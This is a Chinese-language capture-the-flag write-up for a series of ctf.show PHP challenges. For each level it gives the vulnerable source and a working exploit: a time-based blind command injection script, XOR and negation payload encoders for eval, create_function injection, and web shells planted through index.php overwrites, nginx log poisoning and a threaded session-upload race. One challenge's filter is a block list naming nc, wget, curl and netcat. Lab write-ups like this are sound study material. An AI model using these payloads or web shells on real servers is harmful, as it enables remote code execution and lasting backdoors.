<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
屏蔽了不少东西,exec
没有回显,写个脚本盲注
import string import time import requests url = "http://bd33e54f-6289-4649-b28f-de3bd362f3d4.challenge.ctf.show:8080/" # payload = "ls /" # bin\ndev\netc\nf149_15_h3r3\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr payload = "cat /f149_15_h3r3" template = "if [ `{payload}|awk 'NR=={line}'|cut -c {index}` == {char} ];then sleep 3;fi" def valid_char(line: int, index: int, char: str) -> bool: start_time = time.time() _ = requests.get(url, params={ "c": template.format( payload=payload, line=line, index=index, char=char ) }) end_time = time.time() return end_time - start_time >= 2.5 result = "" # for l in range(1, 20): # for i in range(1, 40): # try: # for c in "{}-" + string.printable: # if c == " ": # raise Exception("End of line") # if valid_char(l, i, c): # result += c # print(f"[*] result: {result}") # break # except: # break # result += "\\n" for i in range(1, 100): for c in string.printable: if c == " ": result += " " if valid_char(1, i, c): result += c print(f"[*] result: {result}") break
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 12:39:25 */ error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }
弱类型比较,'ctfshow'
在比较时会被转换成 int(0)
,所以前面的 $code
只需要能被 intval
函数转换为 int(0)
就行。
payload: f1=dir&f2=system
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 19:28:09 */ #error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
正则过滤了字母数字下划线,还可以用取反或者异或绕过
<?php # 取反 var_dump("-(~".urlencode(~'system').")(~".urlencode(~'tac flag.php').");"); $ways = array(); for ($i=128;$i<=256;$i++) { for ($j=128;$j<=256;$j++) { $a = $i ^ $j; if (31 < $a && $a < 127) { $key = urldecode("%".base_convert($a, 10, 16)); // echo "%$i^%$j => ".$key."\n"; $ways[$key][] = ["%".strtoupper(base_convert($i, 10, 16)), "%".strtoupper(base_convert($j, 10, 16))]; } } } function make_xor($str) { $str_a = ""; $str_b = ""; global $ways; foreach(str_split($str) as $s) { $way = $ways[$s][0]; $str_a .= $way[0]; $str_b .= $way[1]; } return "$str_a^$str_b"; } # 异或 var_dump("-(".make_xor("system").")(".make_xor("tac flag.php").");//");
payload: ?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);
payload: -(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80%80%80%80%80%80%80%80^%F4%E1%E3%A0%E6%EC%E1%E7%AE%F0%E8%F0);
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 19:36:02 */ error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }
要求参数 v1
是个能过 is_numeric
函数的字符串,还要 sleep
$v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d
这么多秒,传 0 就能绕过。
payload: ?v1=0
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 12:48:14 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
相比 141 禁用了 ~
那就只能异或了,还禁用了 -
可以用 *
代替,禁用了 ;
可以用 ?>
代替。
payload: ?v1=1&v2=2&v3=*(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80%80%80%80%80%80%80%80^%F4%E1%E3%A0%E6%EC%E1%E7%AE%F0%E8%F0)?%3E
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 16:21:15 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } } function check($str){ return strlen($str)===1?true:false; }
位置改到了 v2
,其他照旧
payload: ?v1=1&v3=2&v2=*(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80%80%80%80%80%80%80%80^%F4%E1%E3%A0%E6%EC%E1%E7%AE%F0%E8%F0)?%3E
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 17:41:33 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
相比之前禁用了异或,但又解禁了取反,搁着反复横跳呢?
+-*/;>
都被禁用了,还可以用 |
或者三元表达式连接前后的数字。
payload: ?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 17:41:33 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
禁用了三元表达式,对上题的 payload 没影响,一把梭
payload: ?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 02:04:38 */ highlight_file(__FILE__); if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); } }
根命名空间调用全局函数绕过正则,create_function
函数代码注入。
url: ?show=;}system('tac flag.php');//
body: ctf=\create_function
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 03:52:11 */ include 'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){ die("error"); } @eval($code); } else{ highlight_file(__FILE__); } function get_ctfshow_fl0g(){ echo file_get_contents("flag.php"); }
没过滤异或,改一下前面的脚本用用。
<?php $ways = array(); for ($i=128;$i<=256;$i++) { for ($j=128;$j<=256;$j++) { $a = $i ^ $j; if (31 < $a && $a < 127) { $key = urldecode("%".base_convert($a, 10, 16)); // echo "%$i^%$j => ".$key."\n"; $ways[$key][] = ["%".strtoupper(base_convert($i, 10, 16)), "%".strtoupper(base_convert($j, 10, 16))]; } } } function make_xor($str) { $str_a = ""; $str_b = ""; global $ways; foreach(str_split($str) as $s) { $way = $ways[$s][0]; $str_a .= $way[0]; $str_b .= $way[1]; } return "$str_a^$str_b"; } var_dump("(".make_xor("get_ctfshow_fl0g").")();");
payload: ?code=(%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80^%E7%E5%F4%DF%E3%F4%E6%F3%E8%EF%F7%DF%E6%EC%B0%E7)();
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 04:34:40 */ error_reporting(0); highlight_file(__FILE__); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($_GET['ctf'], $_POST['show']); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
预期解是条件竞争,但是网不好就读不出 flag,用了非预期在 index.php
写 shell。
url: ?ctf=index.php
body: show=<?php eval($_POST[1]);
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); }
非预期日志文件包含,在尝试写 shell 的时候被套娃问题坑到,日志这里还是容易忽略。
url: ?isVIP=1
body: ctf=/var/log/nginx/access.log&1=file_put_contents('sh.php', base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=="));
UA: <?php eval($_POST[1]); ?>
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ include($ctf); }
修复了非预期,不让包含日志文件了。
这里利用了 extract
覆盖变量会把 空格 [ .
都给转成下划线的特性,绕过正则过滤。然后就是 __autoload
函数,这里写的是调用要加载的类名的函数,传 phpinfo
就能得到 session
相关信息,从而包含 session
。
payload1: ?..CTFSHOW..=phpinfo
可以看到 session.use_strict_mode
为 Off,说明可以自定义 session_id
,控制 session
文件名, session.save_path
为空,确定文件包含路径 /tmp/sess_{session_id}
。改一下祖传脚本写 shell。
import io import requests import threading url = 'http://fa7db7de-329e-44cf-8270-bcd8d7f96368.challenge.ctf.show:8080/?isVIP=1' event = threading.Event() def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': 'aaaaaa<?php file_put_contents("/var/www/html/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg=="));?>' } while True: if event.is_set(): return f = io.BytesIO(b'a' * 1024 * 10) _ = session.post(url,cookies={'PHPSESSID': 'down'}, data=data, files={'file': ('verysafe.txt', f)}) def read(session): while True: if event.is_set(): return response = session.post(url, data={"ctf": "/tmp/sess_down"}) if 'aaaaaa' in response.text: print(response.text) event.set() else: print('retry') if __name__ == '__main__': session = requests.session() for i in range(30): threading.Thread(target=write, args=(session,)).start() for i in range(30): threading.Thread(target=read, args=(session,)).start() event.wait()